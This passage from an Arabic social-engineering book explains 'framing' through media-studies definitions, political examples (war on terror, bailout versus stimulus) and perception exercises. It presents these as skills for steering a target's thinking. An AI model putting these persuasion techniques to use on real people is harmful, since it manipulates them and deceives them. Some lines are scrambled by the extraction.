‫ﻟك‪ ،‬ﻓﯾﺟب ﻋﻠﯾك اﻟﻌﻣل ﺑﺟد ﻟﻠﺣﺻول ﻋﻠﻰ ھذه اﻟﻣﮭﺎرات‪ .‬وأﺣﺛﻛم ﻋﻠﻰ اﺗﺧﺎذ ذﻟك اﻟوﻗت‪ ،‬ﻷن اﻟﻣﮭﺎرات ﻓﻲ اﻟﻘﺳم اﻟﺳﺎﺑﻖ ﯾﻣﻛن أن ﺗﻘودك إﻟﻰ‬
‫ﻛوﻧك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻋﻠﻰ درﺟﺔ اﻟﻣﺎﺟﯾﺳﺗﯾر‪.‬‬
‫ﺗﺧﯾل أﻧﮫ ﯾﻣﻛن أن ﺗﻐﯾر ﻣﺎ ﺗﻌﺗﻘد ﻻﻛﺗﺳﺎب ھذه اﻟﻣﮭﺎرات ﯾﻣﻛن أن ﯾﻛون أﺳﮭل‪ .‬ﺗﺧﯾل اﻵن‪ ،‬أﯾﺿﺎ‪ ،‬إذا ﻛﺎن ﯾﻣﻛن أن ﺗﻐﯾر ﺗﻔﻛﯾر أھداﻓك وذﻟك‬
‫ﻣﺎ ﯾﺗﻌرﺿون ﻟﮫ وھو ﺑﺎﻟﺿﺑط ﻣﺎ ﺗرﯾده ﻣﻧﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪924‬‬

‫ﺗﻐﯾﯾر اﻟواﻗﻊ‪ :‬اﻟﺗﺄطﯾر )‪(Altering Reality: Framing‬‬

‫ﻣﺎ ھو اﻟﺗﺄطﯾر؟‬
‫اﺧﺗﯾﺎر اﻷﺳس واﻟﻘواﻋد اﻟﻣﻘﺑوﻟﺔ ﻟﺗﻣﺛﯾل )ﻋرض( اﻟﻣواد وﺗﺣﻠﯾﻠﮭﺎ ﺑﺷﻛل ﻣﻧظم‪ .‬طرﯾﻘﺔ ﺗﺄطﯾر اﻟﻣواد اﻹﺧﺑﺎرﯾﺔ ھﻲ طرﯾﻘﺔ روﺗﯾﻧﯾﺔ وﻣﻘﺑوﻟﺔ‬
‫ﺑﻧﻘل اﻟرﺳﺎﺋل ﺑطرق اﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ ﻓﮭم ھذه اﻟرﺳﺎﺋل ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﺟﻣﮭور اﻟﻣﺧﺗﻠﻔﯾن‪.‬‬
‫ﯾدﻋﻲ اﻟﺑﺎﺣث اﻻﺟﺗﻣﺎع ﺑﺎن أن ﻛل إﻧﺳﺎن ﯾﺟب ﻋﻠﯾﮫ ان ﯾﺿﻊ اﻟواﻗﻊ اﻟﯾوﻣﻲ ﻓﻲ إطﺎر ﻟﻛﻲ ﯾﺳﺗطﯾﻊ ﻓﮭم اﻟوﺿﻊ اﻻﺟﺗﻣﺎﻋﻲ وﯾﻌﻣل ﺣﺳب ﻣﺎ‬
‫ﯾﻔﮭم وﯾرى‪.‬‬
‫اﻟﻣﺻطﻠﺢ‪ :‬ﺗﺄطﯾر" ﯾﺗطرق ﻟﻛﯾﻔﯾﺔ ﻋرض اﻟوﻗﺎﺋﻊ ﻓﻲ اﻷﻋﻼم وﺗﺄﺛﯾرھﺎ ﻋﻠﯾﻧﺎ‪ ،‬اﻟﺗﺄطﯾر ﯾﺳﺎﻋد اﻟﺟﻣﮭور ﻋﻠﻰ اﻟﻔﮭم‪ ،‬اﻟﺗﺣﻠﯾل وﺗرﺗﯾب اﻷﺣداث أو‬
‫اﻟﻣﻌﻠوﻣﺎت‪ .‬وﺟد اﻟﺗﺄطﯾر ﻟﯾﺳﺎﻋد وﯾﺷﯾر اﻟﻰ اﻟﻣﺳﺑﺑﺎت اﻟﺗﻲ ﯾﻣﻛن ان ﺗﻛون ﻣﺷﻛﻠﺔ وﻋﻠﻰ اﻟﺟﮭﺎت اﻟﺗﻲ ﯾﻣﻛن ان ﺗﻛون اﻟﺣل‪.‬‬
‫إذا اﻟﺣدﯾث ﯾدور ﻋن ﺗﻧظﯾم اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺟﻠﺑﮭﺎ اﻟﻣﺣرر أو اﻟﻛﺎﺗب )اﻟﻣرﺳل( وﻟﻛل ﻛﺎﺗب ھﻧﺎﻟك وﺟﮭﺔ ﻧظر ﺧﺎﺻﺔ ﺑﮫ ﺗﻌﺗﻣد ﻋﻠﻰ ﻗﯾم‪،‬‬
‫ﻣﻌﻠوﻣﺎت ﻣﺳﺑﻘﺔ وﺧﻠﻔﯾﮫ ﺛﻘﺎﻓﯾﮫ اﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ اﻟﺗﻐطﯾﺔ اﻹﺧﺑﺎرﯾﺔ ﻟﻠﺧﺑر‪ ،‬ان اﻟﺗﻐطﯾﺔ اﻹﺧﺑﺎرﯾﺔ ﺗﺧﺑر اﻟﻘﺎرئ أو اﻟﻣﺷﺎھد )اﻟﻣﺳﺗﻘﺑل( ﻣﺎذا ﺣدث‪،‬‬
‫واﻟﻣﻘﺻود ھﻧﺎ ھو ﻟﯾس ﻓﻘط ﻧﻘل‬
‫إذا ﺗﻌرﯾف اﻟﺗﺄطﯾر )‪ (Framing‬ﻋﻠﻰ أﻧﮫ اﻟﻣﻌﻠوﻣﺎت واﻟﺧﺑرات ﻓﻲ اﻟﺣﯾﺎة اﻟﺗﻲ ﺗﻐﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﻧﺗﻔﺎﻋل ﺑﮭﺎ ﻣﻊ اﻟﻘرارات اﻟﺗﻲ ﯾﺟب أن‬
‫ﻧﺗﺧذھﺎ‪ .‬ﻣن وﺟﮭﺔ ﻧظر ﻏﯾر اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬اﻟﺗﺄطﯾر )‪ (Framing‬ھو ﺗﺟﺎرﺑﻧﺎ اﻟﺷﺧﺻﯾﺔ وﺗﺟﺎرب اﻵﺧرﯾن اﻟﺗﻲ ﺗﺳﻣﺢ ﻟك ﻓﻲ ﻋﻘﻠك‬
‫ﯾث ﯾَﺟﻌل‬ ‫ﺎر ُﻣﻌﯾّن‪ ،‬ﺑﺣ ُ‬ ‫اﻟواﻋﻲ ﺑﺗﻐﯾﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻘوم ﺑﺎﺗﺧﺎذ اﻟﻘرارات أو ﺑﻣﻌﻧﻰ أﺧر ﻧَظرﯾﺔ اﻟﺗﱠﺄطﯾر ھﻲ َوﺿﻊ اﻷﺣدَاث واﻷﺷﺧَﺎص ﻓﻲ إ َ‬
‫ط ٍ‬
‫ﺗوﻓر ﻋﻧده ِﻣن َﻣﻌﻠو َﻣﺎت َﺣوﻟﮭﺎ‪ .‬واﻟ َﻣﻌﻠوﻣﺎت ﺑﺎﻟﺗﱠﺎﻟﻲ اﻟﺗﻲ ﺗَﺻﻠﮫ؛ ﺗَﻘوده إﻟﻰ اﺗّﺧﺎذ أﺣﻛَﺎم؛ َوﻓﻖ َﻣﺎ‬ ‫اﻟ ُﻣﺗﻠ ِﻘّﻲ ﯾَﺣﻛم َ‬
‫ﻋﻠﻰ اﻟﻘَﺿﯾّﺔ؛ َﺣ َ‬
‫ﺳب َﻣﺎ ھو ُﻣ ّ ِ‬
‫ﺗَﺻﻧﻌﮫ ﻧَظرﯾّﺔ اﻟﺗﱠﺄطﯾر‪ ،‬وأﺟﻧدة اﻟ َﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗُرﺳﻠﮭﺎ‪ .!!! .‬ﻣﺛﺎل ﻋﻠﻰ ذﻟك ﻣﺣﻼت اﻟﺑﻘﺎﻟﺔ ﺗﺳﺗﺧدم اﻟﺗﺄطﯾر ﺣﯾث ﺗﺿﻊ ﻋﻠﻰ ﻋﺑوة اﻟﻠﺣم‬
‫اﻟﻣﻔروم )‪ ٪ 75" (ground meat‬ﻣن ‪) lean‬واﻟﺗﻲ ﺗﻌﻧﻰ ﺧﺎﻟﯾﮫ ﻣن اﻟدھون(" ﺑدﻻً ﻣن "‪ ٪ 25‬ﻣن اﻟدھون"‪ .‬ھذه اﻟﺷروط ﺗﻌﻧﻲ ﻧﻔس اﻟﺷﻲء‬
‫)ﻛﻼھﻣﺎ ‪ ٪25‬ﻣﺣﺗوى اﻟدھون( وﻟﻛن واﺣدة ﺗﺑدو أﻛﺛر ﺻﺣﺔ وأﻛﺛر ﺟﺎذﺑﯾﺔ ﻟﻠﻣﺷﺗري‪ ،‬وھذا ھو اﻟﺳﺑب ﻻﺳﺗﺧدام اﻟﻣﺣﻼت ‪ ٪75‬ﻣن ‪ lean‬ﺑدﻻ‬
‫ﻣن وﺻﻔﮭﺎ ﺑﺎﻟﻣﺣﺗوى اﻟدھون اﻟﻔﻌﻠﻲ‪.‬‬
‫اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ ھو ﺑﺳﯾط‪ ،‬ﻟﻛﻧﮫ أﯾﺿﺎ واﺣدة ﺗﺳﺎﻋد ﻋﻠﻰ إظﮭﺎر ﻗوة اﻟﺗﺄطﯾر )‪ .(Framing‬ﺑﺑﺳﺎطﺔ ﺗﻘدﯾم اﻟﺣﻘﺎﺋﻖ ﺑطرق ﻣﺧﺗﻠﻔﺔ ﯾﻣﻛن أن ﺗﺟﻌل‬
‫اﻟﺷﻲء ﯾﺑدو ﺟﯾدا واﻟﺗﻲ ﻋﺎدة ﻣﺎ ﺗﻌﺗﺑر ﺳﯾﺋﺔ‪.‬‬
‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﺗﻧﺎول ﻋدد ﻗﻠﯾل ﻣن اﻟﻣﻧﺎطﻖ اﻟﺗﻲ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ﻓﯾﮭﺎ اﻟﺗﺄطﯾر )‪ (Framing‬ﻟذﻟك ﯾﻣﻛﻧك أن ﺗرى ﻣدى اﻟﻘوة اﻟﺗﻲ ھﻲ ﻋﻠﯾﮭﺎ‪.‬‬
‫‪ -‬اﻟﺳﯾﺎﺳﺔ )‪(Politics‬‬
‫اﻟﺗﺄطﯾر )‪ (Framing‬ﯾﺳﺗﺧدم ﻣﻧذ ﻓﺗرة طوﯾﻠﮫ ﻓﻲ اﻟﺳﯾﺎﺳﺔ‪ .‬ﺑﺑﺳﺎطﺔ ھﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺻﺎغ ﺑﮭﺎ اﻟﺣﻣﻼت أو اﻟرﺳﺎﺋل واﻟﺗﻲ ﯾﻣﻛن أن ﺗﺣدث‬
‫ﻓرﻗﺎ ﻛﺑﯾرا ﻓﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾرى ﺑﮭﺎ اﻟﺟﻣﮭور ھذه اﻟرﺳﺎﻟﺔ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺟورج ﻻﻛوف‪ ،‬ﺧﺑﯾر ﻓﻲ اﻟﻣﻌرﻓﺔ اﻟﻠﻐوﯾﺔ‪ .‬ﺣﯾث اﺑدى ﺑﻌض اﻟﻣﻼﺣظﺎت اﻟﻣﺛﯾرة ﻟﻼھﺗﻣﺎم ﻋﻠﻰ اﻟﺗﺄطﯾر ﻓﻲ اﻟﺳﯾﺎﺳﺔ‪ ،‬ﺣﯾث‬
‫ذﻛر اﻟﻔرق ﻓﻲ ﻛﯾﻔﯾﺔ إدراك اﻟﻧﺎس اﺳﺗﺧدام اﻟﻌﺑﺎرات "ﻣﻛﺎﻓﺣﺔ اﻹرھﺎب ﻛﺈﻧﻔﺎذ اﻟﻘﺎﻧون )‪"(Counterterrorism as law enforcement‬‬
‫ﻣﻘﺎﺑل "ﻣﻛﺎﻓﺣﺔ اﻹرھﺎب ﻛﺎﻟﺣرب )‪ ،"(Counterterrorism as war‬ﻋﻧدﻣﺎ وﻗﻌت ھﺟﻣﺎت ‪ 11‬ﻣن ﺳﺑﺗﻣﺑر ‪ ،2001‬وزﯾر اﻟﺧﺎرﺟﯾﺔ‬
‫اﻷﻣﯾرﻛﻲ ﻛوﻟن ﺑﺎول ﻗﺎل ﺑﺄﻧﮫ ﯾﻧﺑﻐﻲ أن ﺗﻌﺎﻣل ھذا ﻛﺟرﯾﻣﮫ‪ .‬وﻟﻛن ﻋﻧدﻣﺎ طﺎﻟب اﻟﺟﻣﮭور ﺑﺎﻟﻣزﯾد ﻣن اﻟﻌﻣل وﺳﯾﺎﺳﺎت أﻛﺛر ﺻراﻣﺔ‪ ،‬ﻓﺄﻋﻠن‬
‫اﻟرﺋﯾس ﺑوش ﺣﻣﻠﺔ "اﻟﺣرب ﻋﻠﻰ اﻹرھﺎب"‪.‬‬
‫ﻣﺛﺎل آﺧر ھو ﺑرﻧﺎﻣﺞ اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ .‬اﻻﺳم ﯾوﺣﻲ أن ھذا اﻟﺑرﻧﺎﻣﺞ ﯾﻣﻛن اﻻﻋﺗﻣﺎد ﻋﻠﯾﮭﺎ ﻟﺗوﻓﯾر اﻷﻣن ﻟﻠﻣﺳﺗﻘﺑل‪.‬‬
‫ﻣﺛﺎل آﺧر ھو اﻻﺧﺗﻼف ﺑﯾن اﻟﻣﺻطﻠﺣﯾن "ﺧطﺔ اﻹﻧﻘﺎذ )‪ "(bailout‬ﻣﻘﺎﺑل "ﺗﺣﻔﯾز اﻻﻗﺗﺻﺎد )‪ ."(economic stimulus‬ﺣﯾث وﺟد‬
‫اﻟﻣﺻطﻠﺢ "ﺧطﺔ اﻹﻧﻘﺎذ )‪ "(bailout‬اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﺎرﺿﺔ ﻷﻧﮭﺎ ﯾﻣﻛن أن ﺗرﺳم ﺻورة ﻟﻛﻠﻣﺔ إﻧﻘﺎذ اﻟﻣﺎء ﻣن ﻗﺎرب ﻏﺎرﻗﺎن‪ .‬وﻟﻛن اﻟﺗﺣﻔﯾز‬
‫اﻻﻗﺗﺻﺎدي ﯾرﺳم ﺻورة ذھﻧﯾﺔ ﻟﻣﺳﺎﻋدة اﻻﻗﺗﺻﺎد ﻣن ﺧﻼل اﻟﺗﺣﻔﯾز اﻻﻗﺗﺻﺎدي‪ .‬ﺣﯾث أن ﻛﻼ اﻟﺑرﻧﺎﻣﺟﯾن ﺗﻘرﯾﺑﺎ ﻧﻔس اﻟﺷﻲء‪ ،‬إﻻ أن ﺻﯾﺎﻏﺔ‬
‫ﺑﺳﯾطﺔ ﻟﻠﻣﺻطﻠﺢ اﻷﺧﯾر أﻛﺛر ﻗﺑوﻻ‪.‬‬
‫ﻛﺗب ﺟودﯾث ﺑﺗﻠر‪ ،‬أﺳﺗﺎذ ﻓﻲ ﺟﺎﻣﻌﺔ ﺑﯾرﻛﻠﻲ وﻣؤﻟف اﻟﻛﺗﺎب ‪ Frames of War‬اﻟذي ﻧﺎل إﻋﺟﺎب اﻟﻧﻘﺎد‪ ،‬ﺣول ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺗﺄطﯾر‬
‫ﺧﺻوﺻﺎ ﻓﻲ اﻟﺛﻘﺎﻓﺎت اﻟﻐرﺑﯾﺔ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻷﺟﻧدات اﻟﺳﯾﺎﺳﯾﺔ واﻟﺣرب‪ .‬ﺣﯾث ﻛﺷف ﺗﺻوﯾر وﺳﺎﺋل اﻹﻋﻼم ﻟﺣﺎﻻت اﻟﻌﻧف‪:‬‬
‫"ھذه اﻟﺗﺻوﯾر أﺷﺑﻊ ﻓﮭﻣﻧﺎ ﻟﻠﺣﯾﺎة اﻟﺑﺷرﯾﺔ‪ ،‬وأدى إﻟﻰ اﻻﺳﺗﻐﻼل واﻟﺗﺧﻠﻲ ﻋن ﺷﻌوب ﺑﺄﻛﻣﻠﮭﺎ‪ ،‬اﻟﺗﻲ ﺗم اﻋﺗﺑﺎرھم ﻛﺗﮭدﯾدات وﺟودﯾﺔ ﺑدﻻ ﻣن أﻧﮭم‬
‫ﺳﻛﺎن ﯾﻌﯾﺷون ﻓﻲ ﺣﺎﺟﺔ إﻟﻰ اﻟﺣﻣﺎﯾﺔ‪ .‬ﺣﯾث ﺗم ﺗﺄطﯾر ھؤﻻء اﻟﻧﺎس ﻋﻠﻰ أﻧﮭم ﻓﻘدوا ﺑﺎﻟﻔﻌل‪ ،‬ﻣﺳﺟوﻧون‪ ،‬ﯾﻌﺎﻧون اﻟﺑطﺎﻟﺔ‪ ،‬واﻟﺟوع‪ ،‬وﯾﻣﻛن‬
‫ﺑﺳﮭوﻟﺔ أن ﯾﺗم اﺳﺗﺑﻌﺎدھم‪ .‬ﻓﻲ اﻟﻣﻧطﻖ اﻷﻋوج واﻟذي ﯾرﺷد اﻟﻰ وﻓﺎﺗﮭم‪ ،‬ﯾﻌﺗﺑر ﻓﻘدان ھؤﻻء اﻟﺳﻛﺎن ﺿروري ﻟﺣﻣﺎﯾﺔ اﻟﺣﯾﺎة )اﻷﺣﯾﺎء("‪.‬‬
‫ھذه ﻟﯾﺳت ﺳوى أﻣﺛﻠﺔ ﻗﻠﯾﻠﺔ ﺣﯾث ﯾﺳﺗﺧدم اﻟﺗﺄطﯾر ﻓﻲ اﻟﺳﯾﺎﺳﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪925‬‬

‫‪ -‬ﻣﺎ ھﻲ أطر اﻷﻋﻼم؟‬

‫ﺣﺳب ﺟوﺗﻠن ﻋﺎم ‪ 1980‬أطر اﻷﻋﻼم ھﻲ ﻧﻣط ﻣﺗﺗﺎﻟﻲ ﻟﻠﺗﻔﻛﯾر‪ ،‬اﻟﺗﺣﻠﯾل‪ ،‬اﻟﺗﻣﺛﯾل‪ ،‬اﻻﺧﺗﯾﺎر واﺧراج اﻟﺷﺎذ‪ .‬إذ أﻧﮫ ﺑواﺳطﺔ اﻷطر ﯾﻣﻛن ﺧﻠﻖ‬
‫إﺷﺎرات ورﻣوز اﻟﺗﻲ ﺑدورھﺎ ﺗﻧظم)ﺗرﺗب( اﻟﺣدﯾث اﻟﻛﻼﻣﻲ أو اﻟﺻوري‪.‬‬
‫أطر اﻷﻋﻼم ﺗﻣﻛن اﻟﺻﺣﻔﯾﯾن ﻣن اﻟﻌﻣل ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻛﺛﯾرة ﺑﺷﻛل ﺳرﯾﻊ وان ﯾﻛوﻧوا ﺟﺎھزﯾن داﺋﻣﺎ ﻟﻠﺣدث اﻟﻐﯾر ﻣﺗوﻗﻊ‪.‬‬
‫ﺣﺳب ﺟﻣﺳون وﻻﺗش ﻋﺎم ‪ 1989‬أطر اﻷﻋﻼم ھﻲ ﻓﻛرة رﺋﯾﺳﯾﺔ ﻟﺗﻧظﯾم ﻣﻔﮭوم اﻷﺣداث وﺣﺳﺑﮫ ﯾﺗم ﺗﻌرﯾف ﻣﺎ ھو ﻣوﺿوع اﻟﺑﺣث ﺣﺳب‬
‫اﻟﻧص وﻛﯾف ﯾﻣﻛن اﻟﺗطرق ﻟﮫ‪-‬ﻣوﻗف ﺳﻠﺑﻲ‪ ،‬ﻣوﻗف اﯾﺟﺎﺑﻲ‪ ،‬ﺣﯾﺎدﯾﺔ‪.‬‬
‫أﻣﺛﻠﺔ ﻷطر إﻋﻼﻣﯾﺔ‪:‬‬
‫‪ .1‬ﺳﺑﺎق اﻷﺣﺻﻧﺔ ھو إطﺎر إﻋﻼﻣﻲ ﻣﻧﺗﺷر ﻓﻲ ﺗﻐطﯾﺔ اﻟﺣﻣﻠﺔ اﻻﻧﺗﺧﺎﺑﯾﺔ‪.‬‬
‫‪ .2‬اﻻﺣﺗﺟﺎﺟﺎت اﻟﺧطﯾرة ھﻲ ﺑﻣﺛﺎﺑﺔ إطﺎر إﻋﻼﻣﻲ ﻣﻧﺗﺷر ﻟﺗﻐطﯾﺔ اﻟﻣظﺎھرات‪.‬‬
‫‪ .3‬اﻷﻗوﯾﺎء ھم ﻣرﺗﺷون ھﻲ ﺷﻛل إﻋﻼﻣﻲ ﻣﻧﺗﺷر ﻟﺗﻐطﯾﺔ ﻓﻌﺎﻟﯾﺎت ﺳﯾﺎﺳﯾﯾن‪ ،‬ﻋﻛس ھذا اﻟﻧﻣوذج‪ ،‬اﻟﺿﺣﯾﺔ ﺻﺎدﻗﺔ‪ ،‬ﺗﻣﯾز وﺗﻣﺛل اﻟطﺑﻘﺎت‬
‫اﻟﺿﻌﯾﻔﺔ ﻓﻲ اﻟﻣﺟﺗﻣﻊ‪.‬‬
‫ﻛل ﻗﺻﺔ ﺣدث ﻣﻛون ﻣن ﻋدة ﺗﻔﺎﺻﯾل اﻟﺗﻲ ﻟﯾس ﺑﻣﻘدورھﺎ ان ﺗﻌرض ﺟﻣﯾﻌﮭﺎ‪ .‬ﻟﻛل ﻗﺻﺔ ﯾوﺟد زواﯾﺎ رؤﯾﺎ ﻣﺧﺗﻠﻔﺔ وﻋدة ﺗﺻﻧﯾﻔﺎت وﺗﺣﻠﯾل‪.‬‬
‫اﺧﺗﺑﺎر زاوﯾﺔ ﻣﻌﯾﻧﺔ وﻟﯾس أﺧرى ھو اﺧﺗﯾﺎر ﻓﻲ إطﺎر ﻣﻌﯾن ﺣﺳﺑﮫ ﯾﻌطﻲ اﻟﺻﺣﻔﻲ ﺗﻘرﯾره‪.‬‬
‫‪ -‬ﺻﻌود‪ ،‬ھﺟرة‪ ،‬ﻧزول ﻣن اﻟﺑﻼد‪ ،‬ﺗﺳﺎﻗط ﺷﻌر‬
‫ﻛل ﻣﺻطﻠﺢ ﻣن ھؤﻻء ﯾﺗطرق ﻟﻌﻣﻠﯾﺔ ﻧﻘل ﻣن ﺑﻠد اﻟﻰ آﺧر‪ ،‬ﻟﻛل ﻣﺻطﻠﺢ ﯾوﺟد اﻟﻛﺛﯾر ﻣن اﻟﻘﯾم واﻟﻣﻌﺎﻧﻲ ﻓﻣﺛﻼ ﻛﻠﻣﺔ "ﺻﻌود" ﯾوﺟد ﻟﮭﺎ ﻣﻌﻧﻰ‬
‫اﯾﺟﺎﺑﻲ ﻓﻲ ﻋﯾون اﻟﯾﮭود وھﻲ ﺗرﻣز اﻟﻰ ﻧﻘل ﯾﮭود ﻣن أراﺿﻲ أﺧرى اﻟﻰ أرض إﺳراﺋﯾل‪ .‬ھﺟرة‪ :‬ﺗﻌﻧﻲ اﻻﻧﺗﻘﺎل ﻣن دوﻟﺔ اﻟﻰ أﺧرى وھو‬
‫ﻣﺻطﻠﺢ ﻣﺣﺎﯾد ﻻ ﯾﺗﺧﻠﻠﮫ رأي أو ﺣﻛم ﻓﻲ اﻟﮭﺟرة ﻣن ‪...‬اﻟﻰ اﻟﻣﺻطﻠﺢ " ﺧروج اﻟﺟﺑﻧﺎء‪/‬اﻟﻣﺧﻧﺛون" وھو ﻣﺻطﻠﺢ ﻧﻘدي واﻟذي أوﺟده راﺑﯾن‬
‫وھو ﯾﻌﺑر ﻋن اﻟﻧﻘد اﻻﺟﺗﻣﺎﻋﻲ اﻟﺻﻌب ﺿد اﻹﺳراﺋﯾﻠﯾﯾن اﻟذﯾن ﯾﮭﺎﺟرون ﻣن اﻟﺑﻼد اﻟﻰ ﺧﺎرﺟﮭﺎ‪ .‬ﻧزول‪ :‬ﺗﻌﻧﻲ اﻟﮭﺟرة ﺑﺎﻟﻣﻔﮭوم اﻟﺳﻠﺑﻲ‪ ،‬أي ان‬
‫اﻟﯾﮭود ﯾﺗرﻛون إﺳراﺋﯾل وﺑذﻟك ﯾﺳﺎﻋدون ﻋﻠﻰ إﺿﻌﺎﻓﮭﺎ‪.‬‬
‫ﻣن وراء اﺧﺗﯾﺎر ﻛل ﺗﻌرﯾف رﻣزي‪-‬ﻛﻠﻣﺎت‪ ،‬ﺻور‪-‬ﺗﺧﺗﺑﺊ داﺋﻣﺎ أﻓﻛﺎر‪ ،‬ﻓﻧون‪ ،‬آراء وﻗﯾم‪.‬‬
‫اﺳﺘﺨﺪام اﻟﺘﺄطﯿﺮ ﻓﻲ اﻟﺤﯿﺎة اﻟﯿﻮﻣﯿﺔ )‪(Using Framing in Everyday Life‬‬

‫اﻟﻣﺻطﻠﺢ "اﻹطﺎر اﻟﻣرﺟﻌﻲ )‪ "(frame of reference‬اﻟذي ﯾﻌرف ﺑﺄﻧﮫ‪ :‬ﻣﺟﻣوﻋﺔ ﻣن اﻷﻓﻛﺎر‪ ،‬واﻟﺷروط‪ ،‬أو اﻻﻓﺗراﺿﺎت اﻟﺗﻲ ﺗﺣدد ﻛﯾف‬
‫ﻟﺷﻲء ﻣﺎ أن ﯾﺗم اﻻﻗﺗراب ﻣﻧﮫ‪ ،‬ﯾﻼﺣظ‪ ،‬أو ﯾﻔﮭم‪ .‬ھذا اﻟﺗﻌرﯾف ﯾﻣﻛن أن ﯾﻛون ﻣﻔﯾدا ﻓﻲ ﻓﮭم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ﺗﺄطﯾر‪.‬‬
‫أي ﺷﻲء ﯾﻣﻛن أن ﯾﻐﯾر ﺗﺻورات اﻟﻧﺎس أو اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺗﺧذ ﺑﮭﺎ ﻗرارات ﯾﻣﻛن أن ﯾﺳﻣﻰ ﺗﺄطﯾر )‪ .(frame‬ﺻدﯾﻖ ﯾﺧﺑرك أﻧﮫ ﻓﻲ اﻷﺳﺑوع‬
‫اﻟﻣﺎﺿﻲ ذھب إﻟﻰ اﻟﻣدﯾﻧﺔ وأﺧذ طرﯾﻘﺎ ﻣﻌﯾﻧﺎ‪ ،‬وأﻧﮫ ﻛﺎن ﻣدﻋﻣﺎ ﻟﻌﺷرة أﻣﯾﺎل ﺑﺳﺑب ﺑﻌض اﻟﺑﻧﺎء‪ .‬اﻟﻛﺛﯾر ﻣﻧﺎ ﻗد ﯾﺗﺧذ طرﯾﻘﺎ أطول ﻟﺗﺟﻧب ﺗﺄﺧﯾر‬
‫ﻣﺣﺗﻣل‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻷﺧﺑﺎر اﻟﺗﻲ ﺷﺎرﻛﮭﺎ ﻣﻌك ﺻدﯾﻘك واﻟﺗﻲ ﻟم ﯾﻣر ﻋﻠﯾﮭﺎ أﻛﺛر ﻣن أﺳﺑوع‪.‬‬
‫ﺗم ﺗﺻﻣﯾم ﻋﻘوﻟﻧﺎ ﻟﯾﺳت ﻣﺛل "اﻟﻣﺷوش )‪ "(clutter‬أو اﻟﻣﺿطرب‪/‬اﻟﻔوﺿﻰ )‪ .(chaos‬ﻋﻧدﻣﺎ ﻧﻘدم ﻣﻊ أﺷﯾﺎء ﻣﺷوﺷﮫ ﻓﺎن ﻋﻘوﻟﻧﺎ ﺳﺗﺣﺎول‬
‫ﺟﻌل اﻟﻧظﺎم ﻟﻠﺧروج ﻣﻧﮭﺎ‪ .‬ﺗم اﻟﻌﺛور ﻋﻠﻰ أﺣد اﻷﻣﺛﻠﺔ اﻟﻣﺛﯾر ﻟﻼھﺗﻣﺎم ﻣن ھذا ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ :‬ﯾﻣﻛﻧك ﺗﻐﯾﯾر إطﺎر واﻗﻌك ﻟﺗﻐﯾﯾر ﻣﺎ ﺗرى؟‬

‫ﻓﻲ اﻹطﺎر اﻟﺣﺎﻟﻲ اﻟﺧﺎص ﺑك‪ ،‬ﻣﺎ ھﻲ اﻟﺧﻠﻔﯾﺔ وﻣﺎ ھﻲ اﻟﻣﻘدﻣﺔ؟ ﻋﻘوﻟﻛم ﺳوف ﯾﺻر ﻋﻠﻰ إﯾﺟﺎد أﻧﻣﺎط ﻣﺄﻟوﻓﺔ ﻣن اﻷﺷﯾﺎء‪ .‬ﻧﺣن ﻧﻔﻌل ذﻟك ﻓﻲ‬
‫اﻟﻐﯾوم‪ ،‬واﻟﻔﺿﺎء‪ ،‬واﻟﺟﻣﺎد‪ .‬ﯾﻣﯾل اﻟﺑﺷر أﯾﺿﺎ أن ﯾرى وﺟوه ﻓﻲ ھذه اﻷﻣور‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪926‬‬

‫ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ ﯾﻣﻛﻧك ﺗﻐﯾﯾر اﻹطﺎر اﻟﺧﺎص ﺑك وﺗﻐﯾﯾر ﻣﺎ ھﻲ اﻟﺻورة وﻣﺎ ھﻲ اﻟﺧﻠﻔﯾﺔ؟ ﺣﺎول ﻣن ﺧﻼل اﻟﺗرﻛﯾز ﻋﻛس ﻣﺎ ﻻﺣظﺗﮫ أوﻻ‪.‬‬
